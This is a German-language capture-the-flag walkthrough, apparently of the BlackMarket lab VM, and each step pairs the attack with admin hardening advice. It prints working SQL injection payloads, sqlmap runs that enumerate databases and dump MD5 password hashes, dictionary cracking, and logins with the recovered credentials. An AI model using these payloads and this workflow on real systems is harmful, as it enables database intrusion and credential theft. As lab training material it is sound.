550 Failed to change directory.
ftp> put ben.php
local: ben.php remote: ben.php
229 Entering Extended Passive Mode (|||42920|).
550 Permission denied.
ftp> quit
221 Goodbye.
 

Analyse: Wir untersuchen den Inhalt der heruntergeladenen Datei `IMP.txt`.

Bewertung: Die Datei enthält `flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}`. Der Base64-Teil dekodiert zu `Congrats Proceed Further`. Dies ist vermutlich die User-Flag oder ein weiterer Hinweis. Die Nachricht erwähnt auch einen "CIA blackmarket Vehical workshop", was auf eine weitere Webanwendung oder einen Bereich hindeuten könnte.

Empfehlung (Pentester): Flag2 notieren. Nach einer Webanwendung suchen, die mit "vehicle workshop" oder "vworkshop" zu tun hat (z.B. `http://192.168.2.106/vworkshop/`).
Empfehlung (Admin): Keine Flags oder Hinweise in Dateien innerhalb von FTP-Verzeichnissen speichern.

┌──(root㉿cyber)-[~] └─# cat IMP.txt
 
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}

If anyone reading this message it means you are on the right track
however I do not have any idea about the CIA blackmarket Vehical
workshop. You must find out and hack it!
 

Analyse: Der Base64-String `Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy` aus Flag 2 wird dekodiert.

Bewertung: Ergibt `Congrats Proceed Further` - eine Bestätigung und Aufforderung weiterzumachen.

# (Kein Befehl, Verwendung eines Base64-Decoders)
 
Input: Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy
Output: Congrats Proceed Further
 

POC (SQL Injection & Web Access)

Analyse: Basierend auf dem Hinweis in `IMP.txt` suchen wir nach dem "vehicle workshop". Der Pentester hat offenbar das Verzeichnis `/vworkshop/` gefunden und darin die Seite `account.php`. Die Seite zeigt Details zu einem eingeloggten Benutzer ("admin admin") und Funktionen wie "Sell Your Vehicle", "Service My Vehicle" etc. Dies deutet auf eine Datenbankanwendung hin.

Bewertung: Das Finden dieser Anwendung ist ein wichtiger Schritt. Webanwendungen, die mit Datenbanken interagieren, sind häufig anfällig für SQL Injection (SQLi).

Empfehlung (Pentester): Die `/vworkshop/`-Anwendung systematisch auf Schwachstellen untersuchen, insbesondere SQL Injection. Alle Eingabefelder, URL-Parameter und Formulare testen. Tools wie SQLMap verwenden.
Empfehlung (Admin): Webanwendungen regelmäßig auf Schwachstellen scannen (DAST/SAST). Eingabedaten immer serverseitig validieren und sanitisieren. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL Injection zu verhindern.

# (Kein Befehl, Besuch von http://192.168.2.106/vworkshop/account.php im Browser)
 
<-- Auszug aus der Seite -->
BlackMarket Auto WorkShop
Sidebar Menu

    Account
    Sell Your Vehicle
    Vehicle Sell Request
    Service My Vehicle
    Vehicle Service Request
    View Test Drive Request
    View Purchased Vehicles
    View Purchased Spareparts
    Logout

Customer ID: 	  11
Customer Name : 	  admin admin
Vehicle service status: 	  0 vehicles status Pending.
  0 vehicles status Completed.
Vehicle sell request: 	  Sold :0 Vehicles
  Pending :0 Vehicles
No. of vehicles purchased: 	 0

Analyse: Wir verwenden SQLMap, ein automatisiertes Tool zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen. Wir zielen auf die URL `http://192.168.2.106/vworkshop/sparepartsstoremore.php`, die vermutlich aus der weiteren Untersuchung der `/vworkshop/`-Anwendung stammt. Der GET-Parameter `sparepartid=1` wird als potenzieller Injektionspunkt getestet.

SQLMap fragt, ob es das vom Server gesetzte Cookie verwenden soll (wir bejahen) und ob es nach der ersten gefundenen Schwachstelle weitersuchen soll (wir bejahen).

Bewertung: SQLMap ist erfolgreich!

Der wichtigste Fund ist die SQL-Injection-Schwachstelle selbst und die Tatsache, dass die Anwendung als `root@localhost` auf die Datenbank zugreift.

Empfehlung (Pentester): Die SQL-Injection weiter ausnutzen:


Empfehlung (Admin): Die SQL-Injection-Schwachstelle im Parameter `sparepartid` in `sparepartsstoremore.php` sofort beheben (Input-Validierung, Prepared Statements). Die Webanwendung **niemals** mit dem Datenbank-Root-Benutzer (`root@localhost`) verbinden lassen. Einen dedizierten Datenbankbenutzer mit minimal notwendigen Rechten für die Anwendung erstellen.

┌──(root㉿cyber)-[~] └─# sqlmap -u "http://192.168.2.106/vworkshop/sparepartsstoremore.php?sparepartid=1" --dbms mysql --current-user --users --passwords
 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.6#stable}
|_ -| . [.]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:24:10 /2023-06-17/

[01:24:10] [INF] testing connection to the target URL
[01:24:11] [INF] checking if the target is protected by some kind of WAF/IPS
[01:24:11] [INF] testing if GET parameter 'sparepartid' is dynamic
[01:24:11] [WRN] GET parameter 'sparepartid' does not appear dynamic
[01:24:11] [INF] testing for SQL injection on GET parameter 'sparepartid'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[01:24:11] [INF] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:24:12] [INF] GET parameter 'sparepartid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[01:24:14] [INF] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:24:14] [INF] GET parameter 'sparepartid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[01:24:14] [INF] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[01:24:14] [INF] target URL appears to have 7 columns in query
[01:24:14] [INF] GET parameter 'sparepartid' is 'Generic UNION query (NULL) - 7 columns' injectable
GET parameter 'sparepartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: sparepartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[01:24:16] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.12
[01:24:16] [INF] fetching current user
current user: 'root@localhost'
[01:24:16] [INF] fetching database users
[01:24:16] [INF] fetching database users password hashes
[01:24:17] [INF] retrieved: 'root',''
[01:24:17] [INF] retrieved: 'root',''
[01:24:17] [INF] retrieved: 'root',''
[01:24:17] [INF] retrieved: 'root',''
[01:24:17] [INF] retrieved: 'debian-sys-maint',''
[01:24:17] [INF] retrieved: 'dimitriroundcube',''
[01:24:17] [INF] retrieved: 'dimitriroundcube',''
[01:24:17] [INF] retrieved: 'dimitri',''
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[01:24:18] [INF] hashes written to '/root/.local/share/sqlmap/output/192.168.2.106/hashes.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[01:24:22] [WRN] no clear password(s) found
database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: NULL
[*] dimitri [1]:
    password hash: NULL
[*] dimitriroundcube [1]:
    password hash: NULL
[*] root [4]:
    password hash: NULL

[01:24:22] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106'

[*] ending @ 01:24:22 /2023-06-17/
 

Analyse: Wir verwenden SQLMap erneut, um die Namen der Datenbanken auf dem Server aufzulisten (`--dbs`). Die Option `--batch` beantwortet alle Fragen automatisch mit den Standardwerten (z.B. Verwendung des vom Server gesetzten Cookies).

Bewertung: SQLMap listet fünf Datenbanken auf: `information_schema`, `BlackMarket`, `eworkshop`, `mysql`, `performance_schema`. Die Datenbanken `BlackMarket` und `eworkshop` klingen anwendungsspezifisch und sind die wahrscheinlichsten Kandidaten für weitere Untersuchungen.

Empfehlung (Pentester): Die Tabellen innerhalb der Datenbanken `BlackMarket` und `eworkshop` auflisten (`-D BlackMarket --tables`, `-D eworkshop --tables`).
Empfehlung (Admin): Datenbankbenutzer so einschränken, dass sie nur auf die für sie relevanten Datenbanken Zugriff haben. Der `root@localhost`-Benutzer sollte nicht von der Webanwendung verwendet werden.

┌──(root㉿cyber)-[~] └─# sqlmap -u "http://192.168.2.106/vworkshop/sparepartsstoremore.php?sparepartid=1" --dbs --batch
 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.6#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:28 /2023-06-17/

[01:25:28] [INF] resuming back-end DBMS 'mysql'
[01:25:28] [INF] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sparepartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[01:25:28] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.12
[01:25:28] [INF] fetching database names
available databases [5]:
[*] BlackMarket
[*] eworkshop
[*] information_schema
[*] mysql
[*] performance_schema

[01:25:28] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106'

[*] ending @ 01:25:28 /2023-06-17/
 

Analyse: Wir fokussieren uns auf die Datenbank `BlackMarket` und lassen SQLMap die Tabellen darin auflisten (`-D BlackMarket --tables --batch`).

Bewertung: SQLMap findet 10 Tabellen in der `BlackMarket`-Datenbank: `cart`, `category`, `customer`, `flag`, `inventory`, `product`, `sales`, `sales_detail`, `supplier`, `user`. Die Tabellen `user` und `flag` sind für uns am interessantesten.

Empfehlung (Pentester): Den Inhalt der Tabellen `user` und `flag` mit SQLMap dumpen (`-T user --dump`, `-T flag --dump`).
Empfehlung (Admin): Datenbankstruktur überprüfen und sicherstellen, dass keine unnötigen oder sensiblen Daten (wie Flags) direkt in der Datenbank gespeichert werden, auf die die Webanwendung Zugriff hat.

┌──(root㉿cyber)-[~] └─# sqlmap -u "http://192.168.2.106/vworkshop/sparepartsstoremore.php?sparepartid=1" -D BlackMarket --tables --batch
 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.6#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:56 /2023-06-17/

[01:25:56] [INF] resuming back-end DBMS 'mysql'
[01:25:56] [INF] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sparepartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[01:25:56] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.12
[01:25:56] [INF] fetching tables for database 'BlackMarket'
Database: BlackMarket
[10 tables]
+--------------+
| user         |
| cart         |
| category     |
| customer     |
| flag         |
| inventory    |
| product      |
| sales        |
| sales_detail |
| supplier     |
+--------------+

[01:25:57] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106'

[*] ending @ 01:25:57 /2023-06-17/
 

Analyse: Wir dumpen den Inhalt der Tabelle `flag` aus der Datenbank `BlackMarket` (`-T flag --dump`).

Bewertung: Die Tabelle enthält einen Eintrag mit `FlagId=3`, `name=Flag` und `Information=Find Jason Bourne Email access`. Dies ist kein Flag im Sinne eines CTF-Ziels, sondern ein weiterer Hinweis, der uns zur E-Mail-Adresse von "Jason Bourne" führen soll (vermutlich `jbourne`, den wir als DB-User gesehen haben).

Empfehlung (Pentester): Den Hinweis notieren. Die Tabelle `user` dumpen, um den Hash für `jbourne` zu erhalten und möglicherweise sein Passwort zu knacken, um auf sein E-Mail-Konto (SquirrelMail oder Dovecot direkt) zugreifen zu können.
Empfehlung (Admin): Hinweise oder Aufgaben für CTFs nicht in Produktionsdatenbanken speichern.

┌──(root㉿cyber)-[~] └─# sqlmap -u "http://192.168.2.106/vworkshop/sparepartsstoremore.php?sparepartid=1" -D BlackMarket -T flag --dump
 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:26:30 /2023-06-17/

[01:26:30] [INF] resuming back-end DBMS 'mysql'
[01:26:30] [INF] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=kc096rn8sjq...u8fr510456'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sparepartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[01:26:34] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
[01:26:34] [INF] fetching columns for table 'flag' in database 'BlackMarket'
[01:26:34] [INF] fetching entries for table 'flag' in database 'BlackMarket'
Database: BlackMarket
Table: flag
[1 entry]
+--------+------+--------------------------------+
| FlagId | name | Information                    |
+--------+------+--------------------------------+
| 3      | Flag | Find Jason Bourne Email access |
+--------+------+--------------------------------+

[01:26:34] [INF] table 'BlackMarket.flag' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.106/dump/BlackMarket/flag.csv'
[01:26:34] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106'

[*] ending @ 01:26:34 /2023-06-17/
 

Analyse: Wir dumpen nun die Tabelle `user` aus der Datenbank `BlackMarket` (`-T user --dump --batch`). SQLMap erkennt die Passwort-Hashes und bietet an, sie mit einem Wörterbuchangriff zu knacken (wir wählen das Standardwörterbuch).

Bewertung: SQLMap extrahiert erfolgreich die Benutzerdaten:

Wir haben das Passwort für den `supplier`-Account gefunden und Hashes für die anderen Benutzer, einschließlich `admin` und `jbourne`. Die Analyse am Ende des Textblocks legt nahe, dass der Admin-Hash (`cf...`) zu `BigBossCIA` gehört (möglicherweise offline geknackt oder aus anderer Quelle) und der `user`-Hash (0d...) zu `user` (doppeltes MD5). Die Hashes für `jbourne` und `bladen` wurden nicht geknackt.

Empfehlung (Pentester): Die gefundenen Zugangsdaten testen:


Empfehlung (Admin): Starke Hashing-Algorithmen mit Salt verwenden (z.B. bcrypt, Argon2) anstelle von einfachem MD5. Schwache Passwörter wie "supplier" oder "user" verbieten. Die Quelle des Passworts "BigBossCIA" untersuchen und ändern, falls es ein Standardpasswort ist.

┌──(root㉿cyber)-[~] └─# sqlmap -u "http://192.168.2.106/vworkshop/sparepartsstoremore.php?sparepartid=1" -D BlackMarket -T user --dump --batch
 
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.6#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:27:25 /2023-06-17/

[01:27:25] [INF] resuming back-end DBMS 'mysql'
[01:27:25] [INF] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: sparepartid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[01:27:28] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP
back-end DBMS: MySQL >= 5.0.12
[01:27:28] [INF] fetching columns for table 'user' in database 'BlackMarket'
[01:27:28] [INF] fetching entries for table 'user' in database 'BlackMarket'
[01:27:28] [INF] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [Y/n] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[01:27:28] [INF] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[01:27:28] [INF] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[01:27:28] [INF] starting dictionary-based cracking (md5_generic_passwd)
[01:27:28] [INF] starting 16 processes
[01:27:31] [INF] cracked: 99b0e8da24e29e4ccb5d7d76e677c2ac:supplier
[01:27:31] [INF] password 'supplier' cracked for user 'supplier'
Database: BlackMarket
Table: user
[5 entries]
+--------+--------+----------+----------------------------------+
| userid | access | username | password                         |
+--------+--------+----------+----------------------------------+
| 1      | 1      | admin    | cf18233438b9e88937ea0176f1311885 |
| 2      | 2      | user     | 0d8d5cd06832b29560745fe4e1b941cf |
| 4      | 3      | supplier | 99b0e8da24e29e4ccb5d7d76e677c2ac |
| 5      | 2      | jbourne  | 28267a2e06e312aee91324e2fe8ef1fd |
| 6      | 3      | bladen   | cbb8d2a0335c793532f9ad516987a41c |
+--------+--------+----------+----------------------------------+

[01:27:32] [INF] table 'BlackMarket.user' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.106/dump/BlackMarket/user.csv'
[01:27:32] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106'

[*] ending @ 01:27:32 /2023-06-17/

<-- Analyse der Hashes (aus dem Text übernommen) -->
<-- admin    cf18233438b9e88937ea0176f1311885 -> BigBossCIA (Unknown Hash type?) -->
<-- user     0d8d5cd06832b29560745fe4e1b941cf -> user (MD5(MD5($pass))?) -->
<-- supplier 99b0e8da24e29e4ccb5d7d76e677c2ac -> supplier (MD5) -->
<-- jbourne  28267a2e06e312aee91324e2fe8ef1fd -> Not found -->
<-- bladen   cbb8d2a0335c793532f9ad516987a41c -> Not found -->
 

Analyse: Wir testen die gefundenen Zugangsdaten `supplier`/`supplier` auf der Login-Seite `http://192.168.2.106/login.php`.

Bewertung: Der Login ist erfolgreich. Wir erhalten die Nachricht "Login Success, Welcome Supplier". Dies bestätigt die Zugangsdaten und gibt uns Zugriff auf den Supplier-Bereich der Webanwendung.

Empfehlung (Pentester): Den Supplier-Bereich der Anwendung untersuchen. Gibt es hier weitere Schwachstellen, Upload-Möglichkeiten oder Informationslecks?
Empfehlung (Admin): Das schwache Passwort "supplier" ändern.

# (Kein Befehl, Login im Browser)
 
URL: http://192.168.2.106/login.php
User: supplier
Pass: supplier

Result: Login Success, Welcome Supplier

Analyse: Wir testen die (vermutlich offline geknackten oder erratenen) Zugangsdaten `admin`/`BigBossCIA` auf derselben Login-Seite.

Bewertung: Auch dieser Login ist erfolgreich! Wir erhalten die Nachricht "Login Success, Welcome BigBoss! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????". Wir haben eine weitere Flag (Flag 4) und erneut den Hinweis auf "Jason Bourne Email access". Der Base64-String `bm90aGluZyBpcyBoZXJl` dekodiert zu `nothing is here`.

Empfehlung (Pentester): Flag 4 notieren. Den Admin-Bereich der Webanwendung untersuchen. Weiterhin versuchen, Zugriff auf jbournes E-Mails zu erhalten (Passwort knacken?).
Empfehlung (Admin): Das Passwort "BigBossCIA" ändern, falls es schwach oder ein Standardpasswort ist. Keine Flags in Willkommensnachrichten einbetten.

# (Kein Befehl, Login im Browser)
 
URL: http://192.168.2.106/login.php
User: admin
Pass: BigBossCIA

Result: Login Success, Welcome BigBoss! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????
 

Analyse: Der Base64-String `bm90aGluZyBpcyBoZXJl` aus Flag 4 wird dekodiert.

Bewertung: Ergibt `nothing is here` - diese Flag scheint keine direkte Information zu enthalten.

# (Kein Befehl, Verwendung eines Base64-Decoders)
 
Input: bm90aGluZyBpcyBoZXJl
Output: nothing is here
 

POC (Shell Access & Root Escalation)

Analyse: Wir führen `dirb` erneut gegen die Basis-URL aus, um die Verzeichnisstruktur, insbesondere von SquirrelMail, genauer zu untersuchen.

Bewertung: Dirb listet viele Unterverzeichnisse von `/squirrelmail/` auf (`class`, `config`, `functions`, `help`, `images`, `include`, `locale`, `plugins`, `src`, `themes`). Dies gibt einen detaillierteren Einblick in die SquirrelMail-Installation.

Empfehlung (Pentester): Nach interessanten Dateien in diesen Verzeichnissen suchen, insbesondere in `config` (Konfigurationsdateien) oder `plugins`. Die Datei `/squirrelmail/src/redirect.php` scheint im nächsten Schritt untersucht zu werden.
Empfehlung (Admin): Zugriff auf nicht benötigte Verzeichnisse oder Dateien innerhalb von Webanwendungen wie SquirrelMail einschränken.

┌──(root㉿cyber)-[~] └─# dirb http://192.168.2.106
 
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Sat Jun 17 01:30:00 2023
URL_BASE: http://192.168.2.106/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.106/ ----
+ http://192.168.2.106/index.php (CODE:200|SIZE:2433)
+ http://192.168.2.106/login.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.2.106/admin/
==> DIRECTORY: http://192.168.2.106/css/
==> DIRECTORY: http://192.168.2.106/db/
==> DIRECTORY: http://192.168.2.106/dist/
+ http://192.168.2.106/header.php (CODE:200|SIZE:1031)
+ http://192.168.2.106/script.php (CODE:200|SIZE:611)
==> DIRECTORY: http://192.168.2.106/squirrelmail/
==> DIRECTORY: http://192.168.2.106/supplier/
==> DIRECTORY: http://192.168.2.106/upload/
==> DIRECTORY: http://192.168.2.106/user/
==> DIRECTORY: http://192.168.2.106/vendor/

---- Entering directory: http://192.168.2.106/admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.2.106/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.2.106/db/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.2.106/dist/ ----
==> DIRECTORY: http://192.168.2.106/dist/css/
==> DIRECTORY: http://192.168.2.106/dist/js/

---- Entering directory: http://192.168.2.106/squirrelmail/ ----
==> DIRECTORY: http://192.168.2.106/squirrelmail/class/
==> DIRECTORY: http://192.168.2.106/squirrelmail/config/
==> DIRECTORY: http://192.168.2.106/squirrelmail/functions/
==> DIRECTORY: http://192.168.2.106/squirrelmail/help/
==> DIRECTORY: http://192.168.2.106/squirrelmail/images/
==> DIRECTORY: http://192.168.2.106/squirrelmail/include/
+ http://192.168.2.106/squirrelmail/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.2.106/squirrelmail/locale/
==> DIRECTORY: http://192.168.2.106/squirrelmail/plugins/
==> DIRECTORY: http://192.168.2.106/squirrelmail/src/
==> DIRECTORY: http://192.168.2.106/squirrelmail/themes/
... (Weitere Scans der Unterverzeichnisse) ...
-----------------
END_TIME: Sat Jun 17 01:35:00 2023
DOWNLOADED: 23060 - FOUND: 10
 

Analyse: Der Pentester hat offenbar die Datei `http://192.168.2.106/squirrelmail/src/redirect.php` untersucht (z.B. im Browser aufgerufen oder Quellcode analysiert) und dabei Informationen gefunden.

Bewertung: In dieser Datei (oder in ihrem Kontext) wurde die E-Mail-Adresse `jbourne@cia.gov` gefunden. Dies passt zum Hinweis aus der `flag`-Tabelle der Datenbank ("Find Jason Bourne Email access"). Außerdem wird `Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}` gefunden. Der Base64-String dekodiert zu `Everything is encrypted`. Dies könnte ein Hinweis auf die Art der Passwortspeicherung oder einen nächsten Schritt sein.

Empfehlung (Pentester): Flag 5 notieren. Versuchen, den `jbourne`-Account-Hash aus der Datenbank mit verschiedenen Methoden zu knacken (vielleicht im Zusammenhang mit "Everything is encrypted"?). Versuchen, sich bei SquirrelMail oder den Dovecot-Diensten mit `jbourne@cia.gov` und potenziellen Passwörtern anzumelden. Die `/vworkshop/`-Anwendung weiter untersuchen.
Empfehlung (Admin): Keine Flags oder Benutzernamen/E-Mail-Adressen in öffentlich zugänglichen PHP-Dateien oder Quellcodes hinterlassen.

# (Kein Befehl, Ergebnis der Untersuchung von redirect.php)
 
Fund in http://192.168.2.106/squirrelmail/src/redirect.php (oder Kontext):

Username: jbourne@cia.gov
Password: ?????

Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
 

Analyse: Der Base64-String `RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=` aus Flag 5 wird dekodiert.

Bewertung: Ergibt `Everything is encrypted`. Dies ist ein weiterer, eher vager Hinweis.

# (Kein Befehl, Verwendung eines Base64-Decoders)
 
Input: RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=
Output: Everything is encrypted
 

Analyse: Der Text beschreibt einen neuen Fund: Eine Datei `PassPass.jpg` im Verzeichnis `/vworkshop/kgbbackdoor/`. Durch Ausführen von `strings` auf diese (vermutlich heruntergeladene) Bilddatei wurde der Text `Pass = 5215565757312090656` extrahiert.

Bewertung: Dies ist ein entscheidender Fund! Eine Zahl, die als "Pass" bezeichnet wird, versteckt in einer Bilddatei in einem verdächtigen Verzeichnis namens `kgbbackdoor`. Die Zahl `5215565757312090656` ist wahrscheinlich kein Klartextpasswort, sondern muss weiterverarbeitet werden.

Empfehlung (Pentester): Die Zahl `5215565757312090656` untersuchen. Sie könnte eine Dezimaldarstellung von Hexadezimal- oder ASCII-Werten sein. Mit Online-Konvertern oder Skripten umwandeln. Das Verzeichnis `http://192.168.2.106/vworkshop/kgbbackdoor/` weiter untersuchen, insbesondere auf eine Datei `backdoor.php`.
Empfehlung (Admin): Keine Passwörter oder Zugangsdaten in Bilddateien oder anderen öffentlich zugänglichen Ressourcen verstecken (Steganografie/versteckte Strings). Verzeichnisse wie `kgbbackdoor` sollten nicht existieren oder zumindest nicht über das Web erreichbar sein.

# (Kein Befehl, Beschreibung der Funde)
 
Fund: “PassPass.jpg” im Verzeichnis /vworkshop/kgbbackdoor
URL: http://192.168.2.106/vworkshop/kgbbackdoor/PassPass.jpg

Ausführung von 'strings PassPass.jpg' (nach Download):
Pass = 5215565757312090656
 

